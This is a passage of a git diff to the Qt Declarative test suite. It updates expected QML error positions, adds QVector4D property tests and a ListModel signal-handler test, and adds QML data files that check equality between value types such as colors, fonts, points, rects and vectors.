+++ b/tests/auto/declarative/qdeclarativelanguage/data/dynamicMeta.3.errors.txt
@@ -1 +1 @@
-3:1:Duplicate signal name
+5:12:Duplicate signal name
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/dynamicMeta.4.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/dynamicMeta.4.errors.txt
index b293c862b1..18e07456ef 100644
--- a/tests/auto/declarative/qdeclarativelanguage/data/dynamicMeta.4.errors.txt
+++ b/tests/auto/declarative/qdeclarativelanguage/data/dynamicMeta.4.errors.txt
@@ -1 +1 @@
-3:1:Duplicate method name
+5:5:Duplicate method name
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/method.1.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/method.1.errors.txt
index b10984f035..0dab632ff6 100644
--- a/tests/auto/declarative/qdeclarativelanguage/data/method.1.errors.txt
+++ b/tests/auto/declarative/qdeclarativelanguage/data/method.1.errors.txt
@@ -1 +1 @@
-3:1:Method names cannot begin with an upper case letter
+4:5:Method names cannot begin with an upper case letter
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/signal.4.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/signal.4.errors.txt
index d96f9e3ed9..513ff60ae6 100644
--- a/tests/auto/declarative/qdeclarativelanguage/data/signal.4.errors.txt
+++ b/tests/auto/declarative/qdeclarativelanguage/data/signal.4.errors.txt
@@ -1 +1 @@
-3:1:Signal names cannot begin with an upper case letter
+4:12:Signal names cannot begin with an upper case letter
diff --git a/tests/auto/declarative/qdeclarativelanguage/testtypes.h b/tests/auto/declarative/qdeclarativelanguage/testtypes.h
index c11bc33eab..dad0e23ae3 100644
--- a/tests/auto/declarative/qdeclarativelanguage/testtypes.h
+++ b/tests/auto/declarative/qdeclarativelanguage/testtypes.h
@@ -47,6 +47,7 @@
#include <QtGui/qmatrix.h>
#include <QtGui/qcolor.h>
#include <QtGui/qvector3d.h>
+#include <QtGui/qvector4d.h>
#include <QtDeclarative/qdeclarative.h>
#include <QtDeclarative/qdeclarativecomponent.h>
#include <QtDeclarative/qdeclarativeparserstatus.h>
@@ -224,6 +225,7 @@ class MyTypeObject : public QObject
Q_PROPERTY(bool boolProperty READ boolProperty WRITE setBoolProperty)
Q_PROPERTY(QVariant variantProperty READ variantProperty WRITE setVariantProperty)
Q_PROPERTY(QVector3D vectorProperty READ vectorProperty WRITE setVectorProperty)
+ Q_PROPERTY(QVector4D vector4Property READ vector4Property WRITE setVector4Property)
Q_PROPERTY(QUrl urlProperty READ urlProperty WRITE setUrlProperty)
Q_PROPERTY(QDeclarativeScriptString scriptProperty READ scriptProperty WRITE setScriptProperty)
@@ -442,6 +444,14 @@ public:
vectorPropertyValue = v;
}
+ QVector4D vector4PropertyValue;
+ QVector4D vector4Property() const {
+ return vector4PropertyValue;
+ }
+ void setVector4Property(const QVector4D &v) {
+ vector4PropertyValue = v;
+ }
+
QUrl urlPropertyValue;
QUrl urlProperty() const {
return urlPropertyValue;
diff --git a/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp b/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp
index dfaf3d1618..5e9bc418cc 100644
--- a/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp
+++ b/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp
@@ -564,6 +564,7 @@ void tst_qdeclarativelanguage::assignBasicTypes()
QCOMPARE(object->boolProperty(), true);
QCOMPARE(object->variantProperty(), QVariant("Hello World!"));
QCOMPARE(object->vectorProperty(), QVector3D(10, 1, 2.2));
+ QCOMPARE(object->vector4Property(), QVector4D(10, 1, 2.2, 2.3));
QCOMPARE(object->urlProperty(), component.url().resolved(QUrl("main.qml")));
QVERIFY(object->objectProperty() != 0);
MyTypeObject *child = qobject_cast<MyTypeObject *>(object->objectProperty());
@@ -610,6 +611,7 @@ void tst_qdeclarativelanguage::assignLiteralToVariant()
QCOMPARE(object->property("test9").userType(), (int)QVariant::String);
QCOMPARE(object->property("test10").userType(), (int)QVariant::Bool);
QCOMPARE(object->property("test11").userType(), (int)QVariant::Bool);
+ QCOMPARE(object->property("test12").userType(), (int)QVariant::Vector4D);
QVERIFY(object->property("test1") == QVariant(1));
QVERIFY(object->property("test2") == QVariant((double)1.7));
@@ -622,6 +624,7 @@ void tst_qdeclarativelanguage::assignLiteralToVariant()
QVERIFY(object->property("test9") == QVariant(QString(QLatin1String("#FF008800"))));
QVERIFY(object->property("test10") == QVariant(bool(true)));
QVERIFY(object->property("test11") == QVariant(bool(false)));
+ QVERIFY(object->property("test12") == QVariant(QVector4D(100, 100, 100, 100)));
delete object;
}
diff --git a/tests/auto/declarative/qdeclarativelistmodel/data/signalhandlers.qml b/tests/auto/declarative/qdeclarativelistmodel/data/signalhandlers.qml
new file mode 100644
index 0000000000..750d99c5a3
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelistmodel/data/signalhandlers.qml
@@ -0,0 +1,8 @@
+import QtQuick 2.0
+
+ListModel{
+ property bool ok: false
+ property int foo: 5
+ onFooChanged: ok = true
+ Component.onCompleted: foo = 6
+}
diff --git a/tests/auto/declarative/qdeclarativelistmodel/tst_qdeclarativelistmodel.cpp b/tests/auto/declarative/qdeclarativelistmodel/tst_qdeclarativelistmodel.cpp
index fd68933997..946a3a5692 100644
--- a/tests/auto/declarative/qdeclarativelistmodel/tst_qdeclarativelistmodel.cpp
+++ b/tests/auto/declarative/qdeclarativelistmodel/tst_qdeclarativelistmodel.cpp
@@ -107,6 +107,7 @@ private slots:
void property_changes_worker();
void property_changes_worker_data();
void clear();
+ void signal_handlers();
};
int tst_qdeclarativelistmodel::roleFromName(const QDeclarativeListModel *model, const QString &roleName)
@@ -1192,6 +1193,18 @@ void tst_qdeclarativelistmodel::clear()
QCOMPARE(model.toString(roles[2]), QString("propertyC"));
}
+void tst_qdeclarativelistmodel::signal_handlers()
+{
+ QDeclarativeEngine eng;
+ QDeclarativeComponent component(&eng, QUrl::fromLocalFile(SRCDIR "/data/signalhandlers.qml"));
+ QObject *model = component.create();
+ QVERIFY2(component.errorString().isEmpty(), QTest::toString(component.errorString()));
+ QVERIFY(model != 0);
+ QVERIFY(model->property("ok").toBool());
+
+ delete model;
+}
+
QTEST_MAIN(tst_qdeclarativelistmodel)
#include "tst_qdeclarativelistmodel.moc"
diff --git a/tests/auto/declarative/qdeclarativeproperty/data/NoContextTypeA.qml b/tests/auto/declarative/qdeclarativeproperty/data/NoContextTypeA.qml
new file mode 100644
index 0000000000..f58967cbb2
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeproperty/data/NoContextTypeA.qml
@@ -0,0 +1,5 @@
+import QtQuick 2.0
+
+QtObject {
+ property string someString
+}
diff --git a/tests/auto/declarative/qdeclarativeproperty/data/NoContextTypeB.qml b/tests/auto/declarative/qdeclarativeproperty/data/NoContextTypeB.qml
new file mode 100644
index 0000000000..4b3672873d
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeproperty/data/NoContextTypeB.qml
@@ -0,0 +1,5 @@
+import QtQuick 2.0
+
+QtObject {
+ property NoContextTypeA myTypeA
+}
diff --git a/tests/auto/declarative/qdeclarativeqt/data/vector4.qml b/tests/auto/declarative/qdeclarativeqt/data/vector4.qml
new file mode 100644
index 0000000000..554dd1e9d4
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeqt/data/vector4.qml
@@ -0,0 +1,8 @@
+import QtQuick 2.0
+
+QtObject {
+ property variant test1: Qt.vector4d(1, 0, 0.9, 0.6);
+ property variant test2: Qt.vector4d(102, -10, -982.1, 10);
+ property variant test3: Qt.vector4d(102, -10, -982.1);
+ property variant test4: Qt.vector4d(102, -10, -982.1, 10, 15);
+}
diff --git a/tests/auto/declarative/qdeclarativeqt/tst_qdeclarativeqt.cpp b/tests/auto/declarative/qdeclarativeqt/tst_qdeclarativeqt.cpp
index 4a9bb4513c..d9cd2b8fdf 100644
--- a/tests/auto/declarative/qdeclarativeqt/tst_qdeclarativeqt.cpp
+++ b/tests/auto/declarative/qdeclarativeqt/tst_qdeclarativeqt.cpp
@@ -72,6 +72,7 @@ private slots:
void point();
void size();
void vector();
+ void vector4d();
void lighter();
void darker();
void tint();
@@ -243,6 +244,26 @@ void tst_qdeclarativeqt::vector()
delete object;
}
+void tst_qdeclarativeqt::vector4d()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("vector4.qml"));
+
+ QString warning1 = component.url().toString() + ":6: Error: Qt.vector4d(): Invalid arguments";
+ QString warning2 = component.url().toString() + ":7: Error: Qt.vector4d(): Invalid arguments";
+ QTest::ignoreMessage(QtWarningMsg, qPrintable(warning1));
+ QTest::ignoreMessage(QtWarningMsg, qPrintable(warning2));
+
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QCOMPARE(qvariant_cast<QVector4D>(object->property("test1")), QVector4D(1, 0, 0.9, 0.6));
+ QCOMPARE(qvariant_cast<QVector4D>(object->property("test2")), QVector4D(102, -10, -982.1, 10));
+ QCOMPARE(qvariant_cast<QVector4D>(object->property("test3")), QVector4D());
+ QCOMPARE(qvariant_cast<QVector4D>(object->property("test4")), QVector4D());
+
+ delete object;
+}
+
void tst_qdeclarativeqt::lighter()
{
QDeclarativeComponent component(&engine, TEST_FILE("lighter.qml"));
diff --git a/tests/auto/declarative/qdeclarativestates/data/anchorRewindBug.qml b/tests/auto/declarative/qdeclarativestates/data/anchorRewindBug.qml
index 6512533b37..60c537b1ed 100644
--- a/tests/auto/declarative/qdeclarativestates/data/anchorRewindBug.qml
+++ b/tests/auto/declarative/qdeclarativestates/data/anchorRewindBug.qml
@@ -31,7 +31,7 @@ Rectangle {
}
PropertyChanges {
target: rectangle
- opacity: 0
+ visible: false
}
}
}
diff --git a/tests/auto/declarative/qdeclarativestates/tst_qdeclarativestates.cpp b/tests/auto/declarative/qdeclarativestates/tst_qdeclarativestates.cpp
index a59ca2607f..e13a6c4305 100644
--- a/tests/auto/declarative/qdeclarativestates/tst_qdeclarativestates.cpp
+++ b/tests/auto/declarative/qdeclarativestates/tst_qdeclarativestates.cpp
@@ -41,6 +41,7 @@
#include <qtest.h>
#include <QtDeclarative/qdeclarativeengine.h>
#include <QtDeclarative/qdeclarativecomponent.h>
+#include <QtDeclarative/qsgview.h>
#include <private/qsgstateoperations_p.h>
#include <private/qsganchors_p_p.h>
#include <private/qsgrectangle_p.h>
@@ -49,6 +50,7 @@
#include <private/qdeclarativestategroup_p.h>
#include <private/qsgitem_p.h>
#include <private/qdeclarativeproperty_p.h>
+#include "../../../shared/util.h"
#ifdef Q_OS_SYMBIAN
// In Symbian OS test data is located in applications private dir
@@ -953,10 +955,11 @@ void tst_qdeclarativestates::anchorChangesCrash()
// QTBUG-12273
void tst_qdeclarativestates::anchorRewindBug()
{
- QDeclarativeEngine engine;
+ QSGView *view = new QSGView;
+ view->setSource(QUrl::fromLocalFile(SRCDIR "/data/anchorRewindBug.qml"));
+ qApp->processEvents();
- QDeclarativeComponent rectComponent(&engine, SRCDIR "/data/anchorRewindBug.qml");
- QSGRectangle *rect = qobject_cast<QSGRectangle*>(rectComponent.create());
+ QSGRectangle *rect = qobject_cast<QSGRectangle*>(view->rootObject());
QVERIFY(rect != 0);
QSGItem * column = rect->findChild<QSGItem*>("column");
@@ -971,7 +974,7 @@ void tst_qdeclarativestates::anchorRewindBug()
// and column's implicit resizing should still work
QVERIFY(!QSGItemPrivate::get(column)->heightValid);
QVERIFY(!QSGItemPrivate::get(column)->widthValid);
- QCOMPARE(column->height(), 100.0);
+ QTRY_COMPARE(column->height(), 100.0);
QSGItemPrivate::get(rect)->setState("");
@@ -979,9 +982,9 @@ void tst_qdeclarativestates::anchorRewindBug()
// and column's implicit resizing should still work
QVERIFY(!QSGItemPrivate::get(column)->heightValid);
QVERIFY(!QSGItemPrivate::get(column)->widthValid);
- QCOMPARE(column->height(), 200.0);
+ QTRY_COMPARE(column->height(), 200.0);
- delete rect;
+ delete view;
}
// QTBUG-11834
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/data/color_compare.qml b/tests/auto/declarative/qdeclarativevaluetypes/data/color_compare.qml
new file mode 100644
index 0000000000..8701dae612
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/data/color_compare.qml
@@ -0,0 +1,37 @@
+import Test 1.0
+
+MyTypeObject {
+ property real v_r: color.r
+ property real v_g: color.g
+ property real v_b: color.b
+ property real v_a: color.a
+ property variant copy: color
+ property string colorToString: color.toString()
+
+ // compare different colors
+ property bool colorEqualsIdenticalRgba: (color == Qt.rgba(0.2, 0.88, 0.6, 0.34)) // true
+ property bool colorEqualsDifferentAlpha: (color == Qt.rgba(0.2, 0.88, 0.6, 0.44)) // false
+ property bool colorEqualsDifferentRgba: (color == Qt.rgba(0.3, 0.98, 0.7, 0.44)) // false
+
+ // compare different color.toString()s
+ property bool colorToStringEqualsColorString: (color.toString() == colorToString) // true
+ property bool colorToStringEqualsDifferentAlphaString: (color.toString() == Qt.rgba(0.2, 0.88, 0.6, 0.44).toString()) // true
+ property bool colorToStringEqualsDifferentRgbaString: (color.toString() == Qt.rgba(0.3, 0.98, 0.7, 0.44).toString()) // false
+
+ // compare colors to strings
+ property bool colorEqualsColorString: (color == colorToString) // false
+ property bool colorEqualsDifferentAlphaString: (color == Qt.rgba(0.2, 0.88, 0.6, 0.44).toString()) // false
+ property bool colorEqualsDifferentRgbaString: (color == Qt.rgba(0.3, 0.98, 0.7, 0.44).toString()) // false
+
+ // compare colors to various value types
+ property bool equalsColor: (color == Qt.rgba(0.2, 0.88, 0.6, 0.34)) // true
+ property bool equalsVector3d: (color == Qt.vector3d(1, 2, 3)) // false
+ property bool equalsSize: (color == Qt.size(1912, 1913)) // false
+ property bool equalsPoint: (color == Qt.point(10, 4)) // false
+ property bool equalsRect: (color == Qt.rect(2, 3, 109, 102)) // false
+
+ // ensure comparison directionality doesn't matter
+ property bool equalsColorRHS: (Qt.rgba(0.2, 0.88, 0.6, 0.34) == color) // true
+ property bool colorEqualsCopy: (color == copy) // true
+ property bool copyEqualsColor: (copy == color) // true
+}
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/data/color_read.qml b/tests/auto/declarative/qdeclarativevaluetypes/data/color_read.qml
new file mode 100644
index 0000000000..bc92b1e5f9
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/data/color_read.qml
@@ -0,0 +1,9 @@
+import Test 1.0
+
+MyTypeObject {
+ property real v_r: color.r
+ property real v_g: color.g
+ property real v_b: color.b
+ property real v_a: color.a
+ property variant copy: color
+}
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/data/color_write.qml b/tests/auto/declarative/qdeclarativevaluetypes/data/color_write.qml
new file mode 100644
index 0000000000..3f1bad4aa6
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/data/color_write.qml
@@ -0,0 +1,8 @@
+import Test 1.0
+
+MyTypeObject {
+ color.r: if (true) 0.5
+ color.g: if (true) 0.38
+ color.b: if (true) 0.3
+ color.a: if (true) 0.7
+}
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/data/font_compare.qml b/tests/auto/declarative/qdeclarativevaluetypes/data/font_compare.qml
new file mode 100644
index 0000000000..efbb0e3d0b
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/data/font_compare.qml
@@ -0,0 +1,31 @@
+import Test 1.0
+
+MyTypeObject {
+ property string f_family: font.family
+ property bool f_bold: font.bold
+ property int f_weight: font.weight
+ property bool f_italic: font.italic
+ property bool f_underline: font.underline
+ property bool f_overline: font.overline
+ property bool f_strikeout: font.strikeout
+ property real f_pointSize: font.pointSize
+ property int f_pixelSize: font.pixelSize
+ property int f_capitalization: font.capitalization
+ property real f_letterSpacing: font.letterSpacing
+ property real f_wordSpacing: font.wordSpacing;
+ property variant copy: font
+ property string tostring: font.toString()
+
+ // compare to string
+ property bool equalsString: (font == tostring)
+
+ // compare fonts to various value types
+ property bool equalsColor: (font == Qt.rgba(0.2, 0.88, 0.6, 0.34)) // false
+ property bool equalsVector3d: (font == Qt.vector3d(1, 2, 3)) // false
+ property bool equalsSize: (font == Qt.size(1912, 1913)) // false
+ property bool equalsPoint: (font == Qt.point(10, 4)) // false
+ property bool equalsRect: (font == Qt.rect(2, 3, 109, 102)) // false
+
+ property bool equalsSelf: (font == font) // true
+}
+
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/data/matrix4x4_compare.qml b/tests/auto/declarative/qdeclarativevaluetypes/data/matrix4x4_compare.qml
new file mode 100644
index 0000000000..94292302cc
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/data/matrix4x4_compare.qml
@@ -0,0 +1,35 @@
+import Test 1.0
+
+MyTypeObject {
+ property real v_m11: matrix.m11
+ property real v_m12: matrix.m12
+ property real v_m13: matrix.m13
+ property real v_m14: matrix.m14
+ property real v_m21: matrix.m21
+ property real v_m22: matrix.m22
+ property real v_m23: matrix.m23
+ property real v_m24: matrix.m24
+ property real v_m31: matrix.m31
+ property real v_m32: matrix.m32
+ property real v_m33: matrix.m33
+ property real v_m34: matrix.m34
+ property real v_m41: matrix.m41
+ property real v_m42: matrix.m42
+ property real v_m43: matrix.m43
+ property real v_m44: matrix.m44
+ property variant copy: matrix
+ property string tostring: matrix.toString()
+
+ // compare to string
+ property bool equalsString: (matrix == tostring)
+
+ // compare matrix4x4s to various value types
+ property bool equalsColor: (matrix == Qt.rgba(0.2, 0.88, 0.6, 0.34)) // false
+ property bool equalsVector3d: (matrix == Qt.vector3d(1, 2, 3)) // false
+ property bool equalsSize: (matrix == Qt.size(1912, 1913)) // false
+ property bool equalsPoint: (matrix == Qt.point(10, 4)) // false
+ property bool equalsRect: (matrix == Qt.rect(2, 3, 109, 102)) // false
+
+ property bool equalsSelf: (matrix == matrix) // true
+}
+
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/data/point_compare.qml b/tests/auto/declarative/qdeclarativevaluetypes/data/point_compare.qml
new file mode 100644
index 0000000000..c0041b4bb1
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/data/point_compare.qml
@@ -0,0 +1,22 @@
+import Test 1.0
+
+MyTypeObject {
+ property int p_x: point.x
+ property int p_y: point.y
+ property variant copy: point
+ property string tostring: point.toString()
+
+ // compare to string
+ property bool equalsString: (point == tostring)
+
+ // compare points to various value types
+ property bool equalsColor: (point == Qt.rgba(0.2, 0.88, 0.6, 0.34)) // false
+ property bool equalsVector3d: (point == Qt.vector3d(1, 2, 3)) // false
+ property bool equalsSize: (point == Qt.size(1912, 1913)) // false
+ property bool equalsPoint: (point == Qt.point(10, 4)) // true
+ property bool equalsRect: (point == Qt.rect(2, 3, 109, 102)) // false
+
+ property bool equalsSelf: (point == point) // true
+ property bool equalsOther: (point == Qt.point(15, 4)) // false
+ property bool pointEqualsPointf: (point == pointfpoint) // true
+}
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/data/pointf_compare.qml b/tests/auto/declarative/qdeclarativevaluetypes/data/pointf_compare.qml
new file mode 100644
index 0000000000..0d70137934
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/data/pointf_compare.qml
@@ -0,0 +1,22 @@
+import Test 1.0
+
+MyTypeObject {
+ property int p_x: point.x
+ property int p_y: point.y
+ property variant copy: point
+ property string tostring: pointf.toString()
+
+ // compare to string
+ property bool equalsString: (pointf == tostring)
+
+ // compare pointfs to various value types
+ property bool equalsColor: (pointf == Qt.rgba(0.2, 0.88, 0.6, 0.34)) // false
+ property bool equalsVector3d: (pointf == Qt.vector3d(1, 2, 3)) // false
+ property bool equalsSize: (pointf == Qt.size(1912, 1913)) // false
+ property bool equalsPoint: (pointf == Qt.point(11.3, -10.9)) // true
+ property bool equalsRect: (pointf == Qt.rect(2, 3, 109, 102)) // false
+
+ property bool equalsSelf: (pointf == pointf) // true
+ property bool equalsOther: (pointf == Qt.point(6.3, -4.9)) // false
+ property bool pointfEqualsPoint: (pointfpoint == point) // true
+}
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/data/quaternion_compare.qml b/tests/auto/declarative/qdeclarativevaluetypes/data/quaternion_compare.qml
new file mode 100644
index 0000000000..0e82f596af
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/data/quaternion_compare.qml
@@ -0,0 +1,23 @@
+import Test 1.0
+
+MyTypeObject {
+ property real v_scalar: quaternion.scalar
+ property real v_x: quaternion.x
+ property real v_y: quaternion.y
+ property real v_z: quaternion.z
+ property variant copy: quaternion
+ property string tostring: quaternion.toString()
+
+ // compare to string
+ property bool equalsString: (quaternion == tostring)
+
+ // compare quaternions to various value types
+ property bool equalsColor: (quaternion == Qt.rgba(0.2, 0.88, 0.6, 0.34)) // false
+ property bool equalsVector3d: (quaternion == Qt.vector3d(1, 2, 3)) // false
+ property bool equalsSize: (quaternion == Qt.size(1912, 1913)) // false
+ property bool equalsPoint: (quaternion == Qt.point(10, 4)) // false
+ property bool equalsRect: (quaternion == Qt.rect(2, 3, 109, 102)) // false
+
+ property bool equalsSelf: (quaternion == quaternion) // true
+}
+
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/data/rect_compare.qml b/tests/auto/declarative/qdeclarativevaluetypes/data/rect_compare.qml
new file mode 100644
index 0000000000..c511c2dfc4
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/data/rect_compare.qml
@@ -0,0 +1,25 @@
+import Test 1.0
+
+MyTypeObject {
+ property int r_x: rect.x
+ property int r_y: rect.y
+ property int r_width: rect.width
+ property int r_height: rect.height
+ property variant copy: rect
+ property string tostring: rect.toString()
+
+ // compare to string
+ property bool equalsString: (rect == tostring)
+
+ // compare rects to various value types
+ property bool equalsColor: (rect == Qt.rgba(0.2, 0.88, 0.6, 0.34)) // false
+ property bool equalsVector3d: (rect == Qt.vector3d(1, 2, 3)) // false
+ property bool equalsSize: (rect == Qt.size(1912, 1913)) // false
+ property bool equalsPoint: (rect == Qt.point(10, 4)) // false
+ property bool equalsRect: (rect == Qt.rect(2, 3, 109, 102)) // true
+
+ property bool equalsSelf: (rect == rect) // true
+ property bool equalsOther: (rect == Qt.rect(6, 9, 99, 92)) // false
+ property bool rectEqualsRectf: (rect == rectfrect) // true
+}
+
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/data/rectf_compare.qml b/tests/auto/declarative/qdeclarativevaluetypes/data/rectf_compare.qml
new file mode 100644
index 0000000000..6ac4049558
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/data/rectf_compare.qml
@@ -0,0 +1,25 @@
+import Test 1.0
+
+MyTypeObject {
+ property real r_x: rectf.x
+ property real r_y: rectf.y
+ property real r_width: rectf.width
+ property real r_height: rectf.height
+ property variant copy: rectf
+ property string tostring: rectf.toString()
+
+ // compare to string
+ property bool equalsString: (rectf == tostring)
+
+ // compare rectfs to various value types
+ property bool equalsColor: (rectf == Qt.rgba(0.2, 0.88, 0.6, 0.34)) // false
+ property bool equalsVector3d: (rectf == Qt.vector3d(1, 2, 3)) // false
+ property bool equalsSize: (rectf == Qt.size(1912, 1913)) // false
+ property bool equalsPoint: (rectf == Qt.point(10, 4)) // false
+ property bool equalsRect: (rectf == Qt.rect(103.8, 99.2, 88.1, 77.6)) // true
+
+ property bool equalsSelf: (rectf == rectf) // true
+ property bool equalsOther: (rectf == Qt.rect(13.8, 9.2, 78.7, 96.2)) // false
+ property bool rectfEqualsRect: (rectfrect == rect) // true
+}
+
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/data/size_compare.qml b/tests/auto/declarative/qdeclarativevaluetypes/data/size_compare.qml
new file mode 100644
index 0000000000..1fd4711c15
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/data/size_compare.qml
@@ -0,0 +1,23 @@
+import Test 1.0
+
+MyTypeObject {
+ property int s_width: size.width
+ property int s_height: size.height
+ property variant copy: size
+ property string tostring: size.toString()
+
+ // compare to string
+ property bool equalsString: (size == tostring)
+
+ // compare sizes to various value types
+ property bool equalsColor: (size == Qt.rgba(0.2, 0.88, 0.6, 0.34)) // false
+ property bool equalsVector3d: (size == Qt.vector3d(1, 2, 3)) // false
+ property bool equalsSize: (size == Qt.size(1912, 1913)) // true
+ property bool equalsPoint: (size == Qt.point(10, 4)) // false
+ property bool equalsRect: (size == Qt.rect(2, 3, 109, 102)) // false
+
+ property bool equalsSelf: (size == size) // true
+ property bool equalsOther: (size == Qt.size(1212, 1313)) // false
+ property bool sizeEqualsSizef: (size == sizefsize) // true
+}
+
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/data/sizef_compare.qml b/tests/auto/declarative/qdeclarativevaluetypes/data/sizef_compare.qml
new file mode 100644
index 0000000000..c74a049454
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/data/sizef_compare.qml
@@ -0,0 +1,24 @@
+import Test 1.0
+
+MyTypeObject {
+ property real s_width: sizef.width
+ property real s_height: sizef.height
+ property variant copy: sizef
+ property string tostring: sizef.toString()
+
+ // compare to string
+ property bool equalsString: (sizef == tostring)
+
+ // compare sizefs to various value types
+ property bool equalsColor: (sizef == Qt.rgba(0.2, 0.88, 0.6, 0.34)) // false
+ property bool equalsVector3d: (sizef == Qt.vector3d(1, 2, 3)) // false
+ property bool equalsSize: (sizef == Qt.size(0.1, 100923.2)) // true
+ property bool equalsPoint: (sizef == Qt.point(10, 4)) // false
+ property bool equalsRect: (sizef == Qt.rect(2, 3, 109, 102)) // false
+
+ property bool equalsSelf: (sizef == sizef) // true
+ property bool equalsOther: (size == Qt.size(3.1, 923.2)) // false
+ property bool sizefEqualsSize: (sizefsize == size) // true
+}
+
+
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/data/vector2d_compare.qml b/tests/auto/declarative/qdeclarativevaluetypes/data/vector2d_compare.qml
new file mode 100644
index 0000000000..eb8fb5bb76
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/data/vector2d_compare.qml
@@ -0,0 +1,21 @@
+import Test 1.0
+
+MyTypeObject {
+ property real v_x: vector2.x
+ property real v_y: vector2.y
+ property variant copy: vector2
+ property string tostring: vector2.toString()
+
+ // compare to string
+ property bool equalsString: (vector2 == tostring)
+
+ // compare vector2ds to various value types
+ property bool equalsColor: (vector2 == Qt.rgba(0.2, 0.88, 0.6, 0.34)) // false
+ property bool equalsVector3d: (vector2 == Qt.vector3d(1, 2, 3)) // false
+ property bool equalsSize: (vector2 == Qt.size(1912, 1913)) // false
+ property bool equalsPoint: (vector2 == Qt.point(10, 4)) // false
+ property bool equalsRect: (vector2 == Qt.rect(2, 3, 109, 102)) // false
+
+ property bool equalsSelf: (vector2 == vector2)
+}
+
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/data/vector3d_compare.qml b/tests/auto/declarative/qdeclarativevaluetypes/data/vector3d_compare.qml
new file mode 100644
index 0000000000..7bda1d17f4
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/data/vector3d_compare.qml
@@ -0,0 +1,23 @@
+import Test 1.0
+
+MyTypeObject {
+ property real v_x: vector.x
+ property real v_y: vector.y
+ property real v_z: vector.z
+ property variant copy: vector
+ property string tostring: vector.toString()
+
+ // compare to string
+ property bool equalsString: (vector == tostring)
+
+ // compare vector3ds to various value types
+ property bool equalsColor: (vector == Qt.rgba(0.2, 0.88, 0.6, 0.34)) // false
+ property bool equalsVector3d: (vector == Qt.vector3d(23.88, 3.1, 4.3)) // true
+ property bool equalsSize: (vector == Qt.size(1912, 1913)) // false
+ property bool equalsPoint: (vector == Qt.point(10, 4)) // false
+ property bool equalsRect: (vector == Qt.rect(2, 3, 109, 102)) // false
+
+ property bool equalsSelf: (vector == vector) // true
+ property bool equalsOther: (vector == Qt.vector3d(3.1, 2.2, 923.2)) // false
+}
+
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/data/vector4d_compare.qml b/tests/auto/declarative/qdeclarativevaluetypes/data/vector4d_compare.qml
new file mode 100644
index 0000000000..3ea42a59ce
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/data/vector4d_compare.qml
@@ -0,0 +1,23 @@
+import Test 1.0
+
+MyTypeObject {
+ property real v_x: vector4.x
+ property real v_y: vector4.y
+ property real v_z: vector4.z
+ property real v_w: vector4.w
+ property variant copy: vector4
+ property string tostring: vector4.toString()
+
+ // compare to string
+ property bool equalsString: (vector4 == tostring)
+
+ // compare vector4ds to various value types
+ property bool equalsColor: (vector4 == Qt.rgba(0.2, 0.88, 0.6, 0.34)) // false
+ property bool equalsVector3d: (vector4 == Qt.vector3d(1, 2, 3)) // false
+ property bool equalsSize: (vector4 == Qt.size(1912, 1913)) // false
+ property bool equalsPoint: (vector4 == Qt.point(10, 4)) // false
+ property bool equalsRect: (vector4 == Qt.rect(2, 3, 109, 102)) // false
+
+ property bool equalsSelf: (vector4 == vector4) // true
+}
+
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/testtypes.h b/tests/auto/declarative/qdeclarativevaluetypes/testtypes.h
index 6d6f868617..5eb6bf6b6d 100644
--- a/tests/auto/declarative/qdeclarativevaluetypes/testtypes.h
+++ b/tests/auto/declarative/qdeclarativevaluetypes/testtypes.h
@@ -54,6 +54,7 @@
#include <QQuaternion>
#include <QMatrix4x4>
#include <QFont>
+#include <QColor>
#include <qdeclarative.h>
#include <QDeclarativePropertyValueSource>
#include <QDeclarativeProperty>
@@ -65,27 +66,34 @@ class MyTypeObject : public QObject
Q_PROPERTY(QPoint point READ point WRITE setPoint NOTIFY changed)
Q_PROPERTY(QPointF pointf READ pointf WRITE setPointf NOTIFY changed)
